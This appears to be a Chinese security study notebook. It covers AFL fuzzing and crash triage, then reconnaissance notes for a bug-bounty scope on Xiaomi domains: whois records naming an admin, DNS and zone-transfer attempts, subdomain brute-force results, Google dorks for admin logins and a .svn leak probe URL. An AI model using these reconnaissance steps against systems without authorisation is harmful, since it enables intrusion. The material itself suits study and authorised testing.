└─────────────────────────────────────────────────────┘          [cpu000:102%] │
│ stage execs : 1432/1536 (93.23%)    │  new edges on : 2 (66.67%)             │
+++ Testing aborted by user +++       │ total crashes : 93.1k (1 unique)       │
[+] We're done here. Have a nice day! │  total tmouts : 8 (1 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤

由上面AFL状态窗口：
① Process timing:Fuzzer运行时长、以及距离最近发现的路径、崩溃和挂起（超时）经过了多长时间。
已经运行4m19s，距离上一个最新路径已经过去2min27s，距离上一个独特崩溃已经过去4min19s（可见找到崩溃的速度非常快），距离上一次挂起已经过去2m12s。

② Overall results：Fuzzer当前状态的概述。

③ Cycle progress：我们输入队列的距离。队列一共有3个用例，现在是第二个，66.67%

④ Map coverage：目标二进制文件中的插桩代码所观察到覆盖范围的细节。

⑤ Stage progress：Fuzzer现在正在执行的文件变异策略、执行次数和执行速度。

⑥ Findings in depth：有关我们找到的执行路径，异常和挂起数量的信息。

⑦ Fuzzing strategy yields：关于突变策略产生的最新行为和结果的详细信息。

⑧ Path geometry：有关Fuzzer找到的执行路径的信息。

⑨ CPU load：CPU利用率

afl何时结束

(1) 状态窗口中”cycles done”字段颜色变为绿色该字段的颜色可以作为何时停止测试的参考，随着周期数不断增大，其颜色也会由洋红色，逐步变为黄色、蓝色、绿色。当其变为绿色时，继续Fuzzing下去也很难有新的发现了，这时便可以通过Ctrl-C停止afl-fuzz。
(2) 距上一次发现新路径（或者崩溃）已经过去很长时间
(3) 目标程序的代码几乎被测试用例完全覆盖

处理输出结果

确定造成这些crashes的bug是否可以利用，怎么利用？

afl在fuzzing的过程中同时也产生了这些文件

$ tree ../vuln/out/
../vuln/out/
├── crashes
│   ├── id:000000,sig:11,src:000000,op:havoc,rep:64
│   └── README.txt
├── fuzz_bitmap
├── fuzzer_stats
├── hangs
├── plot_data
└── queue
    ├── id:000000,orig:1
    └── id:000001,orig:2

3 directories, 7 files

在输出目录中创建了三个子目录并实时更新：

• queue： 测试每个独特执行路径的案例，以及用户提供的所有起始文件。
• crashes： 导致被测程序接收致命信号的独特测试用例（例如，SIGSEGV，SIGILL，SIGABRT）。条目按接收信号分组。
• hangs： 导致测试程序超时的独特测试用例。将某些内容归类为挂起之前的默认时间限制是1秒内的较大值和-t参数的值。可以通过设置AFL_HANG_TMOUT来微调该值，但这很少是必需的。
• 崩溃和挂起被视为“唯一” :如果相关的执行路径涉及在先前记录的故障中未见的任何状态转换。如果可以通过多种方式达到单个错误，那么在此过程中会有一些计数通货膨胀，但这应该会迅速逐渐减少。
• fuzzer_stats：afl-fuzz的运行状态。
• plot_data：用于afl-plot绘图。

崩溃类型和可利用性

1. triage_crashes
   AFL源码的experimental目录中有一个名为triage_crashes.sh的脚本，可以帮助我们触发收集到的crashes。例如下面的例子中，11代表了SIGSEGV信号，有可能是因为缓冲区溢出导致进程引用了无效的内存；06代表了SIGABRT信号，可能是执行了abort\assert函数或double free导致，这些结果可以作为简单的参考。

   $ experimental/crash_triage/triage_crashes.sh ../vuln/out/ ../vuln/v1-afl 2>&1 | grep SIGNAL +++ ID 000000, SIGNAL 11 +++

2. crashwalk
   如果你想得到更细致的crashes分类结果，以及导致crashes的具体原因，那么crashwalk就是不错的选择之一。这个工具基于gdb的exploitable插件，安装也相对简单，在ubuntu上，只需要如下几步即可：

   $ apt-get install gdb golang $ mkdir tools $ cd tools $ git clone https://github.com/jfoote/exploitable.git $ mkdir go $ export GOPATH=~/tools/go $ export CW_EXPLOITABLE=~/tools/exploitable/exploitable/exploitable.py $ go get -u github.com/bnagy/crashwalk/cmd/...

• 这部分我好像还没完成

3. afl-collect

   $ afl-collect -d crashes.db -e gdb_script -j 8 -r ../vuln/out/ ../vuln/testcase -- ../vuln/v1-afl *** GDB+EXPLOITABLE SCRIPT OUTPUT *** [00001] out:id:000000,sig:11,src:000000,op:havoc,rep:64.................: EXPLOITABLE [ReturnAv (1/22)] *** ***************************** ***

0x02 代码覆盖率及其相关概念

代码覆盖率是模糊测试中一个极其重要的概念，使用代码覆盖率可以评估和改进测试过程，执行到的代码越多，找到bug的可能性就越大，毕竟，在覆盖的代码中并不能100%发现bug，在未覆盖的代码中却是100%找不到任何bug的。
代码覆盖率是一种度量代码的覆盖程度的方式，也就是指源代码中的某行代码是否已执行；对二进制程序，还可将此概念理解为汇编代码中的某条指令是否已执行。其计量方式很多，但无论是GCC的GCOV还是LLVM的SanitizerCoverage，都提供函数（function）、基本块（basic-block）、边界（edge）三种级别的覆盖率检测。

计算代码覆盖率

GCOV：插桩生成覆盖率 LCOV：图形展示覆盖率 afl-cov：调用前两个工具计算afl测试用例的覆盖率

1. gcc插桩
   -fprofile-arcs -ftest-coverage

   $ gcc -fprofile-arcs -ftest-coverage ./v1.c -o v1-cov

2. afl-cov计算之前fuzzer的过程（结束后）

   $ ../afl-2.52b/afl-cov/afl-cov -d ./out/ --enable-branch-coverage -c . -e "cat AFL_FILE | ./v1-cov AFL_FILE" Non-zero exit status '1' for CMD: /usr/bin/readelf -a cat *** Imported 2 new test cases from: ./out//queue [+] AFL test case: id:000000,orig:1 (0 / 2), cycle: 0 lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found Coverage diff (init) id:000000,orig:1 diff (init) -> id:000000,orig:1 New src file: /home/han/ck/vuln/v1.c New 'function' coverage: main() New 'function' coverage: vulnerable_function() New 'line' coverage: 11 New 'line' coverage: 12 New 'line' coverage: 13 New 'line' coverage: 6 New 'line' coverage: 8 New 'line' coverage: 9 ++++++ BEGIN - first exec output for CMD: cat ./out//queue/id:000000,orig:1 | ./v1-cov ./out//queue/id:000000,orig:1 Hello, World ++++++ END [+] AFL test case: id:000001,orig:2 (1 / 2), cycle: 0 lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found [+] Processed 2 / 2 test cases. [+] Final zero coverage report: ./out//cov/zero-cov [+] Final positive coverage report: ./out//cov/pos-cov lines......: 100.0% (6 of 6 lines) functions..: 100.0% (2 of 2 functions) branches...: no data found [+] Final lcov web report: ./out//cov/web/index.html

3. LCOV展示

0x03 黑盒测试（使用qemu

$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/outQemu -Q ../vuln/v1
american fuzzy lop 2.52b (v1)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 0 min, 41 sec       │  cycles done : 232    │
│   last new path : none yet (odd, check syntax!)      │  total paths : 2      │
│ last uniq crash : 0 days, 0 hrs, 0 min, 41 sec       │ uniq crashes : 1      │
│  last uniq hang : none seen yet                      │   uniq hangs : 0      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 0* (0.00%)        │    map density : 0.04% / 0.04%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : havoc                 │ favored paths : 1 (50.00%)             │
│ stage execs : 255/256 (99.61%)      │  new edges on : 1 (50.00%)             │
│ total execs : 121k                  │ total crashes : 33 (1 unique)          │
│  exec speed : 2860/sec              │  total tmouts : 0 (0 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 0/56, 0/54, 0/50                      │    levels : 1          │
│  byte flips : 0/7, 0/5, 0/1                         │   pending : 0          │
│ arithmetics : 0/392, 0/25, 0/0                      │  pend fav : 0          │
│  known ints : 0/36, 0/138, 0/44                     │ own finds : 0          │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 1/120k, 0/0                           │ stability : 100.00%    │
│        trim : 82.61%/5, 0.00%                       ├────────────────────────┘
^C────────────────────────────────────────────────────┘          [cpu000:102%]

• 待完成对黑盒测试原理的分析

测试范围：.i.mi.com .cloud.mi.com

0x01 信息收集

https://wh0ale.github.io/2019/02/22/SRC%E4%B9%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/
http://www.polaris-lab.com/index.php/archives/69/

域名信息收集

whois反查

当你知道目标的域名，你首先要做的就是通过Whoist数据库查询域名的注册信息，Whois数据库是提供域名的注册人信息，包括联系方式，管理员名字，管理员邮箱等等，其中也包括DNS服务器的信息。
默认情况下，Kali已经安装了Whois。你只需要输入要查询的域名即可：whois mi.com

root@kali:~# whois mi.com
Domain Name: MI.COM
Registry Domain ID: 2502844_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.networksolutions.com
Registrar URL: http://networksolutions.com
Updated Date: 2017-12-20T07:20:54Z
Creation Date: 1998-11-06T05:00:00Z
Registrar Registration Expiration Date: 2023-11-05T04:00:00Z
Registrar: NETWORK SOLUTIONS, LLC.
Registrar IANA ID: 2
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registry Registrant ID:
Registrant Name: XIAOMI INC
Registrant Organization: XIAOMI INC
Registrant Street: The Rainbow City Office Building
Registrant City: Beijing
Registrant State/Province: Beijing
Registrant Postal Code: 100085
Registrant Country: CN
Registrant Phone: +86.13911275905
Registrant Phone Ext:
Registrant Fax: +86.1060606666
Registrant Fax Ext:
Registrant Email: dns-admin@xiaomi.com
Registry Admin ID:
Admin Name: Ma, Hongjie
Admin Organization: XIAOMI INC
Admin Street: The Rainbow City Office Building
Admin City: Beijing
Admin State/Province: Beijing
Admin Postal Code: 100085
Admin Country: CN
Admin Phone: +86.13911275905
Admin Phone Ext:
Admin Fax: +86.1060606666
Admin Fax Ext:
Admin Email: dns-admin@xiaomi.com
Registry Tech ID:
Tech Name: Ma, Hongjie
Tech Organization: XIAOMI INC
Tech Street: The Rainbow City Office Building
Tech City: Beijing
Tech State/Province: Beijing
Tech Postal Code: 100085
Tech Country: CN
Tech Phone: +86.13911275905
Tech Phone Ext:
Tech Fax: +86.1060606666
Tech Fax Ext:
Tech Email: dns-admin@xiaomi.com
Name Server: NS3.DNSV5.COM
Name Server: NS4.DNSV5.COM
DNSSEC: unsigned
Registrar Abuse Contact Email: abuse@web.com
Registrar Abuse Contact Phone: +1.8003337680
URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/

除了使用whois命令，也有一些网站提供在线whois信息查询：
whois.chinaz.com/
然后可以看到注册人信息，邮箱等等这样我们可以进行邮箱反查域名，爆破邮箱，社工，域名劫持等等

DNS服务器查询

1. host
在kali下我们还可以通过host命令来查询dns服务器

root@kali:~# host www.mi.com
www.mi.com is an alias for www.mi.com.wscdns.com.
www.mi.com.wscdns.com has address 116.211.251.22
www.mi.com.wscdns.com has address 221.235.187.82
www.mi.com.wscdns.com has IPv6 address 240e:95e:1001::18

DNS查询：
host -t a domainName
host -t mx domainName

优点：非常直观，通过查询DNS服务器的A记录、CNAME等，可以准确得到相关信息，较全。
缺点：有很大的局限性，很多DNS是禁止查询的。

2. dig
除了host命令，你也可以使用dig命令对DNS服务器进行挖掘。相对于host命令，dig命令更具有灵活和清晰的显示信息。

root@kali:~# dig mi.com any

; <<>> DiG 9.11.5-P4-3-Debian <<>> mi.com any
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8930
;; flags: qr rd ra; QUERY: 1, ANSWER: 7, AUTHORITY: 2, ADDITIONAL: 22

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b8b49b6c9f27b6bb4704b2375d3bf751d8231fd911f3b57e (good)
;; QUESTION SECTION:
;mi.com.				IN	ANY

;; ANSWER SECTION:
mi.com.			600	IN	SOA	ns3.dnsv5.com. enterprise3dnsadmin.dnspod.com. 1564128772 3600 180 1209600 180
mi.com.			600	IN	TXT	"g5482dbvg8n9bo3vedav36m63q"
mi.com.			600	IN	TXT	"n9rmdqaed6q0502f6t3mfj89i5"
mi.com.			600	IN	TXT	"v=spf1 include:spf_bj.mxmail.xiaomi.com include:spf_hk.mxmail.xiaomi.com  ~all"
mi.com.			65	IN	A	58.83.160.156
mi.com.			2841	IN	NS	ns4.dnsv5.com.
mi.com.			2841	IN	NS	ns3.dnsv5.com.

;; AUTHORITY SECTION:
mi.com.			2841	IN	NS	ns3.dnsv5.com.
mi.com.			2841	IN	NS	ns4.dnsv5.com.

;; ADDITIONAL SECTION:
ns3.dnsv5.com.		12665	IN	A	61.151.180.51
ns3.dnsv5.com.		12665	IN	A	117.135.170.109
ns3.dnsv5.com.		12665	IN	A	162.14.18.188
ns3.dnsv5.com.		12665	IN	A	182.140.167.191
ns3.dnsv5.com.		12665	IN	A	223.166.151.16
ns3.dnsv5.com.		12665	IN	A	14.215.150.16
ns3.dnsv5.com.		12665	IN	A	18.194.2.137
ns3.dnsv5.com.		12665	IN	A	52.77.238.92
ns3.dnsv5.com.		12665	IN	A	58.251.86.12
ns3.dnsv5.com.		12665	IN	A	59.36.120.148
ns4.dnsv5.com.		129705	IN	A	14.215.150.13
ns4.dnsv5.com.		129705	IN	A	18.235.54.99
ns4.dnsv5.com.		129705	IN	A	52.198.159.146
ns4.dnsv5.com.		129705	IN	A	59.36.120.147
ns4.dnsv5.com.		129705	IN	A	61.151.180.52
ns4.dnsv5.com.		129705	IN	A	101.226.220.12
ns4.dnsv5.com.		129705	IN	A	125.39.213.166
ns4.dnsv5.com.		129705	IN	A	162.14.18.121
ns4.dnsv5.com.		129705	IN	A	180.163.19.12
ns4.dnsv5.com.		129705	IN	A	182.254.20.44
ns4.dnsv5.com.		129705	IN	A	223.166.151.126

;; Query time: 1070 msec
;; SERVER: 192.168.64.2#53(192.168.64.2)
;; WHEN: Sat Jul 27 03:03:01 EDT 2019
;; MSG SIZE  rcvd: 717

3. DNS域传送漏洞
http://www.lijiejie.com/dns-zone-transfer-2/
DNS区域传送（DNS zone transfer）指的是一台备用服务器使用来自主服务器的数据刷新自己的域（zone）数据库，目的是为了做冗余备份，防止主服务器出现故障时 dns 解析不可用。然而主服务器对来请求的备用服务器未作访问控制，验证身份就做出相应故而出现这个漏洞。
收集dns服务器信息\手工使用nslookup命令、whois查询等手段进行对某个域名的dns服务器信息的收集,利用网络空间搜索引擎收集域名服务器信息。如（shadon、zoomeye、fofa等）,使用MASSCAN 进行端口扫描后，获取开放53号端口的dns服务器地址 http://www.freebuf.com/sectool/112583.html

root@kali:~# dig +short @8.8.8.8 mi.com ns
ns3.dnsv5.com.
ns4.dnsv5.com.
root@kali:~# dig +nocmd @ns4.dnsv5.com mi.com axfr
;; communications error to 14.215.150.13#53: end of file
;; communications error to 14.215.150.13#53: end of file

C:\Users\Administrator>nslookup
默认服务器:  XiaoQiang
Address:  192.168.31.1

> server ns4.dnsv5.com
默认服务器:  ns4.dnsv5.com
Addresses:  182.254.20.44
          180.163.19.12
          18.235.54.99
          162.14.18.121
          61.151.180.52
          52.198.159.146
          59.36.120.147
          223.166.151.126
          14.215.150.13
          101.226.220.12
          125.39.213.166

> ls mi.com
ls: connect: No error
*** 无法列出域 mi.com: Unspecified error
DNS 服务器拒绝将区域 mi.com 传送到你的计算机。如果这不正确，
请检查 IP 地址 182.254.20.44 的 DNS 服务器上 mi.com 的
区域传送安全设置。

子域名

https://github.com/ring04h/wydomain
在渗透测试的时候，往往主站的防御会很强，常常无从下手，那么子站就是一个重要的突破口，因此子域名是渗透测试的主要关注对象，子域名搜集的越完整，那么挖到的漏洞就可能更多，甚至漏洞的级别也会更高。常用的工具有下面这些：
1. 子域名挖掘机Layer

2. subdomain lijiejie的子域名收集工具
https://github.com/lijiejie/subDomainsBrute

$ python subDomainsBrute.py -t 10 i.mi.com  
  SubDomainsBrute v1.2
  https://github.com/lijiejie/subDomainsBrute

[+] Validate DNS servers                                                      
[+] Server 182.254.116.116  < OK >   Found 4                                  
[+] 4 DNS Servers found                                                      
[+] Run wildcard test
[+] Start 6 scan process
[+] Please wait while scanning ...

All Done. 4 found, 16185 scanned in 74.0 seconds.                             
Output file is i.mi.com.txt
cn.i.mi.com                   	120.92.65.26
daily.i.mi.com                	10.108.230.153
in.i.mi.com                   	104.211.73.78
us.i.mi.com                   	35.162.30.45, 54.148.120.178

3. google hacking
https://github.com/K0rz3n/GoogleHacking-Page

• 搜集域名和mail地址：
• 搜集敏感文件：site:xxx.com filetype:doc|mdb|ini|php|asp|jsp
• 搜集管理后台：site:xxx.com 管理／site:xxx.com admin／site:xxx.com login
• 搜集mail：site:xxx.com intext:@xxx.com／intext:@xxx.com
• 搜集敏感web路径：site:xxx.com intitle:登录／site:xxx.com inurl:sql.php

批量查找学校网站的后台 输入如下关键字

site:hdu.edu.cn  intext:管理|后台|登录|用户名|密码|验证码|系统|账号|后台管理|后台登录

intext: 把网页中的正文内容中的某个字符做为搜索条件.

例如在google里输入:intext:杭电.将返回所有在网页正文部分包含”杭电”的网页

allintext:使用方法和intext类似.

intitle: 搜索网页标题中是否有我们所要找的字符.

例如搜索:intitle:杭电.将返回所有网页标题中包含”杭电”的网页.同理allintitle:也同intitle类似.

cache: 搜索google里关于某些内容的缓存,有时候往往能找到一些好东西.

define: 搜索某个词的定义,例如搜索:define:杭电,将返回关于“杭电”的定义.

filetype: 搜索制定类型的文件，例如：filetype:doc.将返回所有以doc结尾的文件URL.

info: 查找指定站点的一些基本信息.

inurl: 搜索我们指定的字符是否存在于URL中.

例如输入:inurl:admin,将返回N个类似于这样的连接:http://xxx/admin,

常用于查找通用漏洞、注入点、管理员登录的URL

allinurl:也同inurl类似,可指定多个字符.

linkurl: 例如搜索:inurl:hdu.edu.cn可以返回所有和hdu.edu.cn做了链接的URL.

site: 搜索指定域名,如site:hdu.edu.cn.将返回所有和hdu.edu.cn有关的URL.

4. 爬虫
一些网站里面的跳转请求（也可以关注一下app）
还有就是百度，有些会在title 和 copyright信息里面出现该公司的信息
网站html源码：主要就是一些图片、js、css等，也会出现一些域名
apk反编译源码里面

敏感信息收集

用扫描器扫描目录，这时候你需要一本强大的字典，重在平时积累。字典越强扫描处的结果可能越多。常见有.git文件泄露，.svn文件泄露，.DB_store文件泄露，WEB-INF/web.xml泄露。目录扫描有两种方式，使用目录字典进行暴力才接存在该目录或文件返回200或者403；使用爬虫爬行主页上的所有链接，对每个链接进行再次爬行，收集这个域名下的所有链接，然后总结出需要的信息。
路径fuzz： https://github.com/ring04h/weakfilescan
敏感文件扫描: https://github.com/Mosuan/FileScan
web模糊测试: https://github.com/xmendez/wfuzz

1. github项目
   GitPrey是根据企业关键词进行项目检索以及相应敏感文件和敏感文件内容扫描的工具 https://github.com/repoog/GitPrey
2. svn 泄漏
   svn 文件是 subversion 的版本控制信息文件 当某个目录处于 subversion 的版本控制时，在这个目录中就会 .svn 这个文件夹，这个 .svn 文件夹中的文件就是一些版本信息文件，供 subversion 使用。由于部署上线的时候没有删除这个文件夹，导致代码泄漏。
   https://i.mi.com//.svn/entries
3. 敏感文件

• DS_Store 文件泄露 https://github.com/lijiejie/ds_store_exp
• 备份文件
• WEB-INF泄露
• WEB-INF 是 Java 的 WEB 应用的安全目录。如果想在页面中直接访问其中的文件，必须通过 web.xml 文件对要访问的文件进行相应映射才能访问。
• 测试文件
• phpinfo

4. 敏感目录：网站后台目录／一些登录地址／一些接口目录

端口信息

https://github.com/ring04h/wyportmap
服务和安全是相对应的，每开启一个端口，那么攻击面就大了一点，开启的端口越多，也就意味着服务器面临的威胁越大。开始扫描之前不妨使用telnet先简单探测下某些端口是否开放，避免使用扫描器而被封IP，扫描全端口一般使用Nmap，masscan进行扫描探测，尽可能多的搜集开启的端口好已经对应的服务版本，得到确切的服务版本后可以搜索有没有对应版本的漏洞。
端口渗透过程中我们需要关注几个问题：

• 端口的banner信息
• 端口上运行的服务
• 常见应用的默认端口